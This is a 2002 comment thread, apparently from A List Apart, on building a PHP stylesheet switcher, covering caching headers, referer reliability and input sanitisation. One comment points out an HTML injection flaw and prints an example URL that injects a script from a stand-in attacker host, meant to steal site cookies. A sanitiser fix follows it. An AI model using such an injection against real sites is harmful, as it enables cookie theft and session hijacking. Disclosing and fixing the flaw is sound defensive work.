Discuss: Build a PHP Switcher
by Chris Clark
- Editorial Comments
2 Server Side Sniff
A server side stylesheet switcher would appear to suffer from the same proxy-caching issues that affect server side browser sniffers.
For example, an AOL user could visit your site and switch to the “red” style sheet. A copy of the page with the following style sheet link would be cached on AOL’s proxy server.
<link rel=“stylesheet” type=“text/css” media=“screen” title=“User
Defined Style” href=“red.css” />
The next time an AOL user came to your site, they may be served the page with the red style sheet from the AOL cache regardless of their cookie value.
You should be able to avoid this problem with the following lines of PHP code at the top of the page you don’t want to be cached.
Header(“Cache-control: private, no-cache”);
Header(“Expires: Mon, 26 Jul 1997 05:00:00 GMT”); //Past date
Header(“Pragma: no-cache”);
(pilfered from http://php.weblogs.com/stories/storyReader$550)
posted at 11:01 am on October 13, 2002 by alan
3 Another way to do this
A suggestion:
Instead of putting the PHP to select which stylesheet to use in every page, wouldn’t it make more sense to do something like this:
<link rel=“stylesheet” type=“text/css” media=“screen” title=“User
Defined Style” href=“styleredirect.php” /> and then have styleredirect.php redirect to the appropriate stylesheet? That way, you could have one copy of the code instead of scattering it throughout every page of your site. It would make maintenence much simpler. Unfortunately, I don’t know PHP, so I’m not entirely sure how to actually code this.
posted at 11:19 am on October 13, 2002 by Daniel Axelrod
4 Referer NOT reliable
> header(“Location: $HTTP_REFERER”);
This wont work when users are using proxies or web browsers that they
configured to not to allow the webserver to read the referer-information
(for privacy / security reasons).
For example, I only need one click to turn off referer logging in Opera 6
In such cases the user will see a blank page (in the best case).
Just FYI.
Greetings from Germany,
Roman Schechtel
posted at 11:29 am on October 13, 2002 by Roman Schechtel
5 Re: Another way to do this
I use the code below and use JavaScript to set the cookie. Add more cases for more style sheets.
—
<?php
header (“Content-type: text/css”);
?>
/* Style sheet */
<?php
switch (isset($style) ? $style : “Default”) {
case “Blue”:
echo “@import \“blue.css\”;”;
break;
default:
echo “@import \“regular.css\”;”;
}
?>
posted at 12:18 pm on October 13, 2002 by Chris
6 Potential security flaw
This script has a potential security flaw – an HTML injection attack. The script embeds HTML in to the document directly from the query string of the page without first checking that the HTML is “safe”. This could allow a crafty cracker to steal your browser’s cookies for the site, which could lead to a security breach if cookies are used to store administrator sessions (for a content management system for example). As a lesser evil, it could also let malicious third parties to add inapropriate content to your site as viewed by another user.
Here’s (roughly) how it would work. A cracker tricks someone in to visiting your site with a URL that looks like this:
http://yoursite.com/switcher.php?set=”><script src=“http://hax0r.net/evil.js”>
The included script file has code which uses javascript to grab any available cookies for that domain and silently send them off to a script running on the hacker’s site (through a invisible HTTP GET request, probably by including another script or an image) which logs your cookies. The same technique could be used to add HTML to the page, which could allow people to “add” pornography to your site. The added HTML would only be visible to users who visited the site via the “fake” link provided by the cracker but could still lead to confusion and, in the case of administrator cookies being stolen, a full scale security breach.
posted at 03:14 pm on October 13, 2002 by Simon Willison
7 sanitise this :)
It is amusing to see that trick here a year after I used it, and looking back, it shows that I too didn’t sanitise the querystring value that was passed to the switcher.
Here’s a simple sanitiser that will remove all non-alphanumeric characters, and also get $set The Right Way ™:
<?php
$set = $_GET[‘set’];
$set = preg_replace(’#[^a-zA-Z0-9_-]#’, ‘’, $set);
setcookie (‘sitestyle’, $set, time()+31536000, ‘/’, ‘yourdomain.com’, ‘0’);
header(‘Location: ‘.$_SERVER[‘HTTP_REFERER’]);
?>
One drawback of this technique is that if there are any websites’ pages in the browser’s history AFTER your website’s page, they’re just poof gone when the switcher link is clicked.
(Then again, that was the case with last year’s browsers, maybe by now they implemented a check for 0 bytes pages not to be included in the history.)
posted at 04:15 pm on October 13, 2002 by michel v
8 www.decaffeinated.org?
Was the reference to that URI at the end of the article some sort of joke I did not get?
A page which does nothing and has no links surely would not be much of a worry as far as WAI rating…
Brett
posted at 04:16 pm on October 13, 2002 by Brett
9 re:www.decaffeinated.org
Brett, if you checked the source code you would see that decfafeinated.org is ‘returning soon’. Apparently it has gone off line until further notice.
A question about security: How serious an issue is the security breach, and how easily accessible is it to get to the cookies?
I keep wanting to get into PHP, but there always seem to be serious security issues. Any commentary on this would be appreciated.
Thanks.
Marty
posted at 04:42 pm on October 13, 2002 by Marty M
10 security in php
Marty, the most this security breach (that the sanitised version of the code avoids) could do is get the cookies from the website the PHP switched is on. However, this is only if using javascript. If you passed some PHP code in the querystring value, you could do much more than that.
There really aren’t security issues with PHP itself, it’s only that’s it’s very easy for unexperienced people to produce insecure code.
Eventually, it all comes down to the good “never trust the user” doctrine, and the systematic sanitisation of user-submitted data. Once you start following these simple rules, your PHP will be as secure as can be. :)
posted at 04:52 pm on October 13, 2002 by michel v
Discussion Closed
New comments are not being accepted, but you are welcome to explore what people said before we closed the door.
Got something to say?
Discuss this article. We reserve the right to delete flames, trolls, and wood nymphs.
Create a new account or sign in below if you’d like to leave a comment.
Subscribe to this article's comments: RSS (what’s this?)



1 Don't use the old style PHP code
> setcookie (‘sitestyle’, $set, time()+31536000, ‘/’, ‘yourdomain.com’, ‘0’);
If $set is to contain the HTTP GET variable from the query string, use
$_GET[‘set’]. This is the preferred way of working with client input from the query string. Old style PHP works fine as the example is, but newer versions probably have register_clobals off, meaning input is separated:
$_GET
$_POST
$_COOKIE
$_REQUEST (all of the above)
$_FILES (uploaded files using POST)
$_SERVER (user AND server variables, e.g. HTTP headers, environment variables)
Here’s some nitty gritty from the PHP documentation:
>In PHP 4.2.0 and later, the default set of predefined variables which
>are available in the global scope has changed. Individual input and
>server variables are by default no longer placed directly into the global
>scope; rather, they are placed into the following superglobal arrays.
Apart from that, of course, it’s a nice article. Good to see ALA going more developer-ish again. :-)
posted at 10:04 am on October 13, 2002 by Jan!